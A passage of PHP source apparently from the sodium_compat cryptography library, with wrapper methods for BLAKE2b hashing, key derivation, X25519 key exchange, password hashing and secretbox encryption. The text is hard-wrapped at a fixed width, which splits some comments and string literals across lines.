            }
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_generichash_init($key, $length);
        }
        if (self::use_fallback('crypto_generichash_init')) {
            return (string)
call_user_func('\\Sodium\\crypto_generichash_init', $key,
$length);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::generichash_init($key,
$length);
        }
        return ParagonIE_Sodium_Crypto::generichash_init($key, $length);
    }

    /**
     * Initialize a BLAKE2b hashing context, for use in a streaming
interface.
     *
     * @param string|null $key If specified must be a string between 16 and
64 bytes
     * @param int $length      The size of the desired hash output
     * @param string $salt     Salt (up to 16 bytes)
     * @param string $personal Personalization string (up to 16 bytes)
     * @return string          A BLAKE2 hashing context, encoded as a
string
     *                         (To be 100% compatible with ext/libsodium)
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_generichash_init_salt_personal(
        $key = '',
        $length = self::CRYPTO_GENERICHASH_BYTES,
        $salt = '',
        $personal = ''
    ) {
        /* Type checks: */
        if (is_null($key)) {
            $key = '';
        }
        ParagonIE_Sodium_Core_Util::declareScalarType($key,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($length,
'int', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($salt,
'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($personal,
'string', 4);
        $salt = str_pad($salt, 16, "\0", STR_PAD_RIGHT);
        $personal = str_pad($personal, 16, "\0", STR_PAD_RIGHT);

        /* Input validation: */
        if (!empty($key)) {
            /*
            if (ParagonIE_Sodium_Core_Util::strlen($key) <
self::CRYPTO_GENERICHASH_KEYBYTES_MIN) {
                throw new SodiumException('Unsupported key size. Must
be at least CRYPTO_GENERICHASH_KEYBYTES_MIN bytes long.');
            }
            */
            if (ParagonIE_Sodium_Core_Util::strlen($key) >
self::CRYPTO_GENERICHASH_KEYBYTES_MAX) {
                throw new SodiumException('Unsupported key size. Must
be at most CRYPTO_GENERICHASH_KEYBYTES_MAX bytes long.');
            }
        }
        if (PHP_INT_SIZE === 4) {
            return
ParagonIE_Sodium_Crypto32::generichash_init_salt_personal($key, $length,
$salt, $personal);
        }
        return
ParagonIE_Sodium_Crypto::generichash_init_salt_personal($key, $length,
$salt, $personal);
    }

    /**
     * Update a BLAKE2b hashing context with additional data.
     *
     * @param string $ctx    BLAKE2 hashing context. Generated by
crypto_generichash_init().
     *                       $ctx is passed by reference and gets updated
in-place.
     * @param-out string $ctx
     * @param string $message The message to append to the existing hash
state.
     * @return void
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress ReferenceConstraintViolation
     */
    public static function crypto_generichash_update(&$ctx, $message)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($ctx,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($message,
'string', 2);

        if (self::useNewSodiumAPI()) {
            sodium_crypto_generichash_update($ctx, $message);
            return;
        }
        if (self::use_fallback('crypto_generichash_update')) {
            $func = '\\Sodium\\crypto_generichash_update';
            $func($ctx, $message);
            return;
        }
        if (PHP_INT_SIZE === 4) {
            $ctx = ParagonIE_Sodium_Crypto32::generichash_update($ctx,
$message);
        } else {
            $ctx = ParagonIE_Sodium_Crypto::generichash_update($ctx,
$message);
        }
    }

    /**
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_generichash_keygen()
    {
        return random_bytes(self::CRYPTO_GENERICHASH_KEYBYTES);
    }

    /**
     * @param int $subkey_len
     * @param int $subkey_id
     * @param string $context
     * @param string $key
     * @return string
     * @throws SodiumException
     */
    public static function crypto_kdf_derive_from_key(
        $subkey_len,
        $subkey_id,
        $context,
        $key
    ) {
        ParagonIE_Sodium_Core_Util::declareScalarType($subkey_len,
'int', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($subkey_id,
'int', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($context,
'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key,
'string', 4);
        $subkey_id = (int) $subkey_id;
        $subkey_len = (int) $subkey_len;
        $context = (string) $context;
        $key = (string) $key;

        if ($subkey_len < self::CRYPTO_KDF_BYTES_MIN) {
            throw new SodiumException('subkey cannot be smaller than
SODIUM_CRYPTO_KDF_BYTES_MIN');
        }
        if ($subkey_len > self::CRYPTO_KDF_BYTES_MAX) {
            throw new SodiumException('subkey cannot be larger than
SODIUM_CRYPTO_KDF_BYTES_MAX');
        }
        if ($subkey_id < 0) {
            throw new SodiumException('subkey_id cannot be
negative');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($context) !==
self::CRYPTO_KDF_CONTEXTBYTES) {
            throw new SodiumException('context should be
SODIUM_CRYPTO_KDF_CONTEXTBYTES bytes');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !==
self::CRYPTO_KDF_KEYBYTES) {
            throw new SodiumException('key should be
SODIUM_CRYPTO_KDF_KEYBYTES bytes');
        }

        $salt = ParagonIE_Sodium_Core_Util::store64_le($subkey_id);
        $state = self::crypto_generichash_init_salt_personal(
            $key,
            $subkey_len,
            $salt,
            $context
        );
        return self::crypto_generichash_final($state, $subkey_len);
    }

    /**
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_kdf_keygen()
    {
        return random_bytes(self::CRYPTO_KDF_KEYBYTES);
    }

    /**
     * Perform a key exchange, between a designated client and a server.
     *
     * Typically, you would designate one machine to be the client and the
     * other to be the server. The first two keys are what you'd
expect for
     * scalarmult() below, but the latter two public keys don't swap
places.
     *
     * | ALICE                          | BOB                              
  |
     * | Client                         | Server                           
  |
     *
|--------------------------------|-------------------------------------|
     * | shared = crypto_kx(            | shared = crypto_kx(              
  |
     * |     alice_sk,                  |     bob_sk,                      
  | <- contextual
     * |     bob_pk,                    |     alice_pk,                    
  | <- contextual
     * |     alice_pk,                  |     alice_pk,                    
  | <----- static
     * |     bob_pk                     |     bob_pk                       
  | <----- static
     * | )                              | )                                
  |
     *
     * They are used along with the scalarmult product to generate a
256-bit
     * BLAKE2b hash unique to the client and server keys.
     *
     * @param string $my_secret
     * @param string $their_public
     * @param string $client_public
     * @param string $server_public
     * @return string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_kx($my_secret, $their_public,
$client_public, $server_public)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($my_secret,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($their_public,
'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($client_public,
'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($server_public,
'string', 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($my_secret) !==
self::CRYPTO_BOX_SECRETKEYBYTES) {
            throw new SodiumException('Argument 1 must be
CRYPTO_BOX_SECRETKEYBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($their_public) !==
self::CRYPTO_BOX_PUBLICKEYBYTES) {
            throw new SodiumException('Argument 2 must be
CRYPTO_BOX_PUBLICKEYBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($client_public) !==
self::CRYPTO_BOX_PUBLICKEYBYTES) {
            throw new SodiumException('Argument 3 must be
CRYPTO_BOX_PUBLICKEYBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($server_public) !==
self::CRYPTO_BOX_PUBLICKEYBYTES) {
            throw new SodiumException('Argument 4 must be
CRYPTO_BOX_PUBLICKEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            if (is_callable('sodium_crypto_kx')) {
                return (string) sodium_crypto_kx(
                    $my_secret,
                    $their_public,
                    $client_public,
                    $server_public
                );
            }
        }
        if (self::use_fallback('crypto_kx')) {
            return (string) call_user_func(
                '\\Sodium\\crypto_kx',
                $my_secret,
                $their_public,
                $client_public,
                $server_public
            );
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::keyExchange(
                $my_secret,
                $their_public,
                $client_public,
                $server_public
            );
        }
        return ParagonIE_Sodium_Crypto::keyExchange(
            $my_secret,
            $their_public,
            $client_public,
            $server_public
        );
    }

    /**
     * @param string $seed
     * @return string
     * @throws SodiumException
     */
    public static function crypto_kx_seed_keypair($seed)
    {
        ParagonIE_Sodium_Core_Util::declareScalarType($seed,
'string', 1);

        $seed = (string) $seed;

        if (ParagonIE_Sodium_Core_Util::strlen($seed) !==
self::CRYPTO_KX_SEEDBYTES) {
            throw new SodiumException('seed must be
SODIUM_CRYPTO_KX_SEEDBYTES bytes');
        }

        $sk = self::crypto_generichash($seed, '',
self::CRYPTO_KX_SECRETKEYBYTES);
        $pk = self::crypto_scalarmult_base($sk);
        return $sk . $pk;
    }

    /**
     * @return string
     * @throws Exception
     */
    public static function crypto_kx_keypair()
    {
        $sk = self::randombytes_buf(self::CRYPTO_KX_SECRETKEYBYTES);
        $pk = self::crypto_scalarmult_base($sk);
        return $sk . $pk;
    }

    /**
     * @param string $keypair
     * @param string $serverPublicKey
     * @return array{0: string, 1: string}
     * @throws SodiumException
     */
    public static function crypto_kx_client_session_keys($keypair,
$serverPublicKey)
    {
        ParagonIE_Sodium_Core_Util::declareScalarType($keypair,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($serverPublicKey,
'string', 2);

        $keypair = (string) $keypair;
        $serverPublicKey = (string) $serverPublicKey;

        if (ParagonIE_Sodium_Core_Util::strlen($keypair) !==
self::CRYPTO_KX_KEYPAIRBYTES) {
            throw new SodiumException('keypair should be
SODIUM_CRYPTO_KX_KEYPAIRBYTES bytes');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($serverPublicKey) !==
self::CRYPTO_KX_PUBLICKEYBYTES) {
            throw new SodiumException('public keys must be
SODIUM_CRYPTO_KX_PUBLICKEYBYTES bytes');
        }

        $sk = self::crypto_kx_secretkey($keypair);
        $pk = self::crypto_kx_publickey($keypair);
        $h = self::crypto_generichash_init(null,
self::CRYPTO_KX_SESSIONKEYBYTES * 2);
        self::crypto_generichash_update($h, self::crypto_scalarmult($sk,
$serverPublicKey));
        self::crypto_generichash_update($h, $pk);
        self::crypto_generichash_update($h, $serverPublicKey);
        $sessionKeys = self::crypto_generichash_final($h,
self::CRYPTO_KX_SESSIONKEYBYTES * 2);
        return array(
            ParagonIE_Sodium_Core_Util::substr(
                $sessionKeys,
                0,
                self::CRYPTO_KX_SESSIONKEYBYTES
            ),
            ParagonIE_Sodium_Core_Util::substr(
                $sessionKeys,
                self::CRYPTO_KX_SESSIONKEYBYTES,
                self::CRYPTO_KX_SESSIONKEYBYTES
            )
        );
    }

    /**
     * @param string $keypair
     * @param string $clientPublicKey
     * @return array{0: string, 1: string}
     * @throws SodiumException
     */
    public static function crypto_kx_server_session_keys($keypair,
$clientPublicKey)
    {
        ParagonIE_Sodium_Core_Util::declareScalarType($keypair,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($clientPublicKey,
'string', 2);

        $keypair = (string) $keypair;
        $clientPublicKey = (string) $clientPublicKey;

        if (ParagonIE_Sodium_Core_Util::strlen($keypair) !==
self::CRYPTO_KX_KEYPAIRBYTES) {
            throw new SodiumException('keypair should be
SODIUM_CRYPTO_KX_KEYPAIRBYTES bytes');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($clientPublicKey) !==
self::CRYPTO_KX_PUBLICKEYBYTES) {
            throw new SodiumException('public keys must be
SODIUM_CRYPTO_KX_PUBLICKEYBYTES bytes');
        }

        $sk = self::crypto_kx_secretkey($keypair);
        $pk = self::crypto_kx_publickey($keypair);
        $h = self::crypto_generichash_init(null,
self::CRYPTO_KX_SESSIONKEYBYTES * 2);
        self::crypto_generichash_update($h, self::crypto_scalarmult($sk,
$clientPublicKey));
        self::crypto_generichash_update($h, $clientPublicKey);
        self::crypto_generichash_update($h, $pk);
        $sessionKeys = self::crypto_generichash_final($h,
self::CRYPTO_KX_SESSIONKEYBYTES * 2);
        return array(
            ParagonIE_Sodium_Core_Util::substr(
                $sessionKeys,
                self::CRYPTO_KX_SESSIONKEYBYTES,
                self::CRYPTO_KX_SESSIONKEYBYTES
            ),
            ParagonIE_Sodium_Core_Util::substr(
                $sessionKeys,
                0,
                self::CRYPTO_KX_SESSIONKEYBYTES
            )
        );
    }

    /**
     * @param string $kp
     * @return string
     * @throws SodiumException
     */
    public static function crypto_kx_secretkey($kp)
    {
        return ParagonIE_Sodium_Core_Util::substr(
            $kp,
            0,
            self::CRYPTO_KX_SECRETKEYBYTES
        );
    }

    /**
     * @param string $kp
     * @return string
     * @throws SodiumException
     */
    public static function crypto_kx_publickey($kp)
    {
        return ParagonIE_Sodium_Core_Util::substr(
            $kp,
            self::CRYPTO_KX_SECRETKEYBYTES,
            self::CRYPTO_KX_PUBLICKEYBYTES
        );
    }

    /**
     * @param int $outlen
     * @param string $passwd
     * @param string $salt
     * @param int $opslimit
     * @param int $memlimit
     * @param int|null $alg
     * @return string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_pwhash($outlen, $passwd, $salt,
$opslimit, $memlimit, $alg = null)
    {
        ParagonIE_Sodium_Core_Util::declareScalarType($outlen,
'int', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($passwd,
'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($salt, 
'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($opslimit,
'int', 4);
        ParagonIE_Sodium_Core_Util::declareScalarType($memlimit,
'int', 5);

        if (self::useNewSodiumAPI()) {
            if (!is_null($alg)) {
                ParagonIE_Sodium_Core_Util::declareScalarType($alg,
'int', 6);
                return sodium_crypto_pwhash($outlen, $passwd, $salt,
$opslimit, $memlimit, $alg);
            }
            return sodium_crypto_pwhash($outlen, $passwd, $salt, $opslimit,
$memlimit);
        }
        if (self::use_fallback('crypto_pwhash')) {
            return (string)
call_user_func('\\Sodium\\crypto_pwhash', $outlen, $passwd,
$salt, $opslimit, $memlimit);
        }
        // This is the best we can do.
        throw new SodiumException(
            'This is not implemented, as it is not possible to
implement Argon2i with acceptable performance in pure-PHP'
        );
    }

    /**
     * !Exclusive to sodium_compat!
     *
     * This returns TRUE if the native crypto_pwhash API is available by
libsodium.
     * This returns FALSE if only sodium_compat is available.
     *
     * @return bool
     */
    public static function crypto_pwhash_is_available()
    {
        if (self::useNewSodiumAPI()) {
            return true;
        }
        if (self::use_fallback('crypto_pwhash')) {
            return true;
        }
        return false;
    }

    /**
     * @param string $passwd
     * @param int $opslimit
     * @param int $memlimit
     * @return string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_pwhash_str($passwd, $opslimit, $memlimit)
    {
        ParagonIE_Sodium_Core_Util::declareScalarType($passwd,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($opslimit,
'int', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($memlimit,
'int', 3);

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_pwhash_str($passwd, $opslimit, $memlimit);
        }
        if (self::use_fallback('crypto_pwhash_str')) {
            return (string)
call_user_func('\\Sodium\\crypto_pwhash_str', $passwd, $opslimit,
$memlimit);
        }
        // This is the best we can do.
        throw new SodiumException(
            'This is not implemented, as it is not possible to
implement Argon2i with acceptable performance in pure-PHP'
        );
    }

    /**
     * Do we need to rehash this password?
     *
     * @param string $hash
     * @param int $opslimit
     * @param int $memlimit
     * @return bool
     * @throws SodiumException
     */
    public static function crypto_pwhash_str_needs_rehash($hash, $opslimit,
$memlimit)
    {
        ParagonIE_Sodium_Core_Util::declareScalarType($hash,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($opslimit,
'int', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($memlimit,
'int', 3);

        // Just grab the first 4 pieces.
        $pieces = explode('$', (string) $hash);
        $prefix = implode('$', array_slice($pieces, 0, 4));

        // Rebuild the expected header.
        /** @var int $ops */
        $ops = (int) $opslimit;
        /** @var int $mem */
        $mem = (int) $memlimit >> 10;
        $encoded = self::CRYPTO_PWHASH_STRPREFIX . 'v=19$m=' .
$mem . ',t=' . $ops . ',p=1';

        // Do they match? If so, we don't need to rehash, so return
false.
        return !ParagonIE_Sodium_Core_Util::hashEquals($encoded, $prefix);
    }

    /**
     * @param string $passwd
     * @param string $hash
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_pwhash_str_verify($passwd, $hash)
    {
        ParagonIE_Sodium_Core_Util::declareScalarType($passwd,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($hash,
'string', 2);

        if (self::useNewSodiumAPI()) {
            return (bool) sodium_crypto_pwhash_str_verify($passwd, $hash);
        }
        if (self::use_fallback('crypto_pwhash_str_verify')) {
            return (bool)
call_user_func('\\Sodium\\crypto_pwhash_str_verify', $passwd,
$hash);
        }
        // This is the best we can do.
        throw new SodiumException(
            'This is not implemented, as it is not possible to
implement Argon2i with acceptable performance in pure-PHP'
        );
    }

    /**
     * @param int $outlen
     * @param string $passwd
     * @param string $salt
     * @param int $opslimit
     * @param int $memlimit
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function crypto_pwhash_scryptsalsa208sha256($outlen,
$passwd, $salt, $opslimit, $memlimit)
    {
        ParagonIE_Sodium_Core_Util::declareScalarType($outlen,
'int', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($passwd,
'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($salt, 
'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($opslimit,
'int', 4);
        ParagonIE_Sodium_Core_Util::declareScalarType($memlimit,
'int', 5);

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_pwhash_scryptsalsa208sha256(
                (int) $outlen,
                (string) $passwd,
                (string) $salt,
                (int) $opslimit,
                (int) $memlimit
            );
        }
        if
(self::use_fallback('crypto_pwhash_scryptsalsa208sha256')) {
            return (string) call_user_func(
                '\\Sodium\\crypto_pwhash_scryptsalsa208sha256',
                (int) $outlen,
                (string) $passwd,
                (string) $salt,
                (int) $opslimit,
                (int) $memlimit
            );
        }
        // This is the best we can do.
        throw new SodiumException(
            'This is not implemented, as it is not possible to
implement Scrypt with acceptable performance in pure-PHP'
        );
    }

    /**
     * !Exclusive to sodium_compat!
     *
     * This returns TRUE if the native crypto_pwhash API is available by
libsodium.
     * This returns FALSE if only sodium_compat is available.
     *
     * @return bool
     */
    public static function
crypto_pwhash_scryptsalsa208sha256_is_available()
    {
        if (self::useNewSodiumAPI()) {
            return true;
        }
        if
(self::use_fallback('crypto_pwhash_scryptsalsa208sha256')) {
            return true;
        }
        return false;
    }

    /**
     * @param string $passwd
     * @param int $opslimit
     * @param int $memlimit
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function crypto_pwhash_scryptsalsa208sha256_str($passwd,
$opslimit, $memlimit)
    {
        ParagonIE_Sodium_Core_Util::declareScalarType($passwd,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($opslimit,
'int', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($memlimit,
'int', 3);

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_pwhash_scryptsalsa208sha256_str(
                (string) $passwd,
                (int) $opslimit,
                (int) $memlimit
            );
        }
        if
(self::use_fallback('crypto_pwhash_scryptsalsa208sha256_str')) {
            return (string) call_user_func(
               
'\\Sodium\\crypto_pwhash_scryptsalsa208sha256_str',
                (string) $passwd,
                (int) $opslimit,
                (int) $memlimit
            );
        }
        // This is the best we can do.
        throw new SodiumException(
            'This is not implemented, as it is not possible to
implement Scrypt with acceptable performance in pure-PHP'
        );
    }

    /**
     * @param string $passwd
     * @param string $hash
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function
crypto_pwhash_scryptsalsa208sha256_str_verify($passwd, $hash)
    {
        ParagonIE_Sodium_Core_Util::declareScalarType($passwd,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($hash,
'string', 2);

        if (self::useNewSodiumAPI()) {
            return (bool)
sodium_crypto_pwhash_scryptsalsa208sha256_str_verify(
                (string) $passwd,
                (string) $hash
            );
        }
        if
(self::use_fallback('crypto_pwhash_scryptsalsa208sha256_str_verify'))
{
            return (bool) call_user_func(
               
'\\Sodium\\crypto_pwhash_scryptsalsa208sha256_str_verify',
                (string) $passwd,
                (string) $hash
            );
        }
        // This is the best we can do.
        throw new SodiumException(
            'This is not implemented, as it is not possible to
implement Scrypt with acceptable performance in pure-PHP'
        );
    }

    /**
     * Calculate the shared secret between your secret key and your
     * recipient's public key.
     *
     * Algorithm: X25519 (ECDH over Curve25519)
     *
     * @param string $secretKey
     * @param string $publicKey
     * @return string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_scalarmult($secretKey, $publicKey)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($secretKey,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($publicKey,
'string', 2);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !==
self::CRYPTO_BOX_SECRETKEYBYTES) {
            throw new SodiumException('Argument 1 must be
CRYPTO_BOX_SECRETKEYBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($publicKey) !==
self::CRYPTO_BOX_PUBLICKEYBYTES) {
            throw new SodiumException('Argument 2 must be
CRYPTO_BOX_PUBLICKEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_scalarmult($secretKey, $publicKey);
        }
        if (self::use_fallback('crypto_scalarmult')) {
            return (string)
call_user_func('\\Sodium\\crypto_scalarmult', $secretKey,
$publicKey);
        }

        /* Output validation: Forbid all-zero keys */
        if (ParagonIE_Sodium_Core_Util::hashEquals($secretKey,
str_repeat("\0", self::CRYPTO_BOX_SECRETKEYBYTES))) {
            throw new SodiumException('Zero secret key is not
allowed');
        }
        if (ParagonIE_Sodium_Core_Util::hashEquals($publicKey,
str_repeat("\0", self::CRYPTO_BOX_PUBLICKEYBYTES))) {
            throw new SodiumException('Zero public key is not
allowed');
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::scalarmult($secretKey,
$publicKey);
        }
        return ParagonIE_Sodium_Crypto::scalarmult($secretKey, $publicKey);
    }

    /**
     * Calculate an X25519 public key from an X25519 secret key.
     *
     * @param string $secretKey
     * @return string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress TooFewArguments
     * @psalm-suppress MixedArgument
     */
    public static function crypto_scalarmult_base($secretKey)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($secretKey,
'string', 1);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !==
self::CRYPTO_BOX_SECRETKEYBYTES) {
            throw new SodiumException('Argument 1 must be
CRYPTO_BOX_SECRETKEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_scalarmult_base($secretKey);
        }
        if (self::use_fallback('crypto_scalarmult_base')) {
            return (string)
call_user_func('\\Sodium\\crypto_scalarmult_base', $secretKey);
        }
        if (ParagonIE_Sodium_Core_Util::hashEquals($secretKey,
str_repeat("\0", self::CRYPTO_BOX_SECRETKEYBYTES))) {
            throw new SodiumException('Zero secret key is not
allowed');
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::scalarmult_base($secretKey);
        }
        return ParagonIE_Sodium_Crypto::scalarmult_base($secretKey);
    }

    /**
     * Authenticated symmetric-key encryption.
     *
     * Algorithm: XSalsa20-Poly1305
     *
     * @param string $plaintext The message you're encrypting
     * @param string $nonce A Number to be used Once; must be 24 bytes
     * @param string $key Symmetric encryption key
     * @return string           Ciphertext with Poly1305 MAC
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_secretbox($plaintext, $nonce, $key)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($plaintext,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce,
'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($key,
'string', 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !==
self::CRYPTO_SECRETBOX_NONCEBYTES) {
            throw new SodiumException('Argument 2 must be
CRYPTO_SECRETBOX_NONCEBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !==
self::CRYPTO_SECRETBOX_KEYBYTES) {
            throw new SodiumException('Argument 3 must be
CRYPTO_SECRETBOX_KEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_secretbox($plaintext, $nonce, $key);
        }
        if (self::use_fallback('crypto_secretbox')) {
            return (string)
call_user_func('\\Sodium\\crypto_secretbox', $plaintext, $nonce,
$key);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::secretbox($plaintext, $nonce,
$key);
        }
        return ParagonIE_Sodium_Crypto::secretbox($plaintext, $nonce,
$key);
    }

    /**
     * Decrypts a message previously encrypted with crypto_secretbox().
     *
     * @param string $ciphertext Ciphertext with Poly1305 MAC
     * @param string $nonce      A Number to be used Once; must be 24 bytes
     * @param string $key        Symmetric encryption key
     * @return string            Original plaintext message
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_secretbox_open($ciphertext, $nonce, $key)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce,
'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($key,
'string', 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !==
self::CRYPTO_SECRETBOX_NONCEBYTES) {
            throw new SodiumException('Argument 2 must be
CRYPTO_SECRETBOX_NONCEBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !==
self::CRYPTO_SECRETBOX_KEYBYTES) {
            throw new SodiumException('Argument 3 must be
CRYPTO_SECRETBOX_KEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            /**
             * @psalm-suppress InvalidReturnStatement
             * @psalm-suppress FalsableReturnStatement
             */
            return sodium_crypto_secretbox_open($ciphertext, $nonce, $key);
        }
        if (self::use_fallback('crypto_secretbox_open')) {
            return
call_user_func('\\Sodium\\crypto_secretbox_open', $ciphertext,
$nonce, $key);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::secretbox_open($ciphertext,
$nonce, $key);
        }
        return ParagonIE_Sodium_Crypto::secretbox_open($ciphertext, $nonce,
$key);
    }

    /**
     * Return a secure random key for use with crypto_secretbox
     *
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_secretbox_keygen()
    {
        return random_bytes(self::CRYPTO_SECRETBOX_KEYBYTES);
    }

    /**
     * Authenticated symmetric-key encryption.
     *
     * Algorithm: XChaCha20-Poly1305
     *
     * @param string $plaintext The message you're encrypting
     * @param string $nonce     A Number to be used Once; must be 24 bytes
     * @param string $key       Symmetric encryption key
     * @return string           Ciphertext with Poly1305 MAC
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_secretbox_xchacha20poly1305($plaintext,
$nonce, $key)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($plaintext,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce,
'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($key,
'string', 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !==
self::CRYPTO_SECRETBOX_NONCEBYTES) {
            throw new SodiumException('Argument 2 must be
CRYPTO_SECRETBOX_NONCEBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !==
self::CRYPTO_SECRETBOX_KEYBYTES) {
            throw new SodiumException('Argument 3 must be
CRYPTO_SECRETBOX_KEYBYTES long.');
        }
        if (PHP_INT_SIZE === 4) {
            return
ParagonIE_Sodium_Crypto32::secretbox_xchacha20poly1305($plaintext, $nonce,
$key);
        }
        return
ParagonIE_Sodium_Crypto::secretbox_xchacha20poly1305($plaintext, $nonce,
$key);
    }
    /**
     * Decrypts a message previously encrypted with
crypto_secretbox_xchacha20poly1305().
     *
     * @param string $ciphertext Ciphertext with Poly1305 MAC
     * @param string $nonce      A Number to be used Once; must be 24 bytes
     * @param string $key        Symmetric encryption key
     * @return string            Original plaintext message
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function
crypto_secretbox_xchacha20poly1305_open($ciphertext, $nonce, $key)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce,
'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($key,
'string', 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !==
self::CRYPTO_SECRETBOX_NONCEBYTES) {
            throw new SodiumException('Argument 2 must be
CRYPTO_SECRETBOX_NONCEBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !==
self::CRYPTO_SECRETBOX_KEYBYTES) {
            throw new SodiumException('Argument 3 must be
CRYPTO_SECRETBOX_KEYBYTES long.');
        }

        if (PHP_INT_SIZE === 4) {
            return
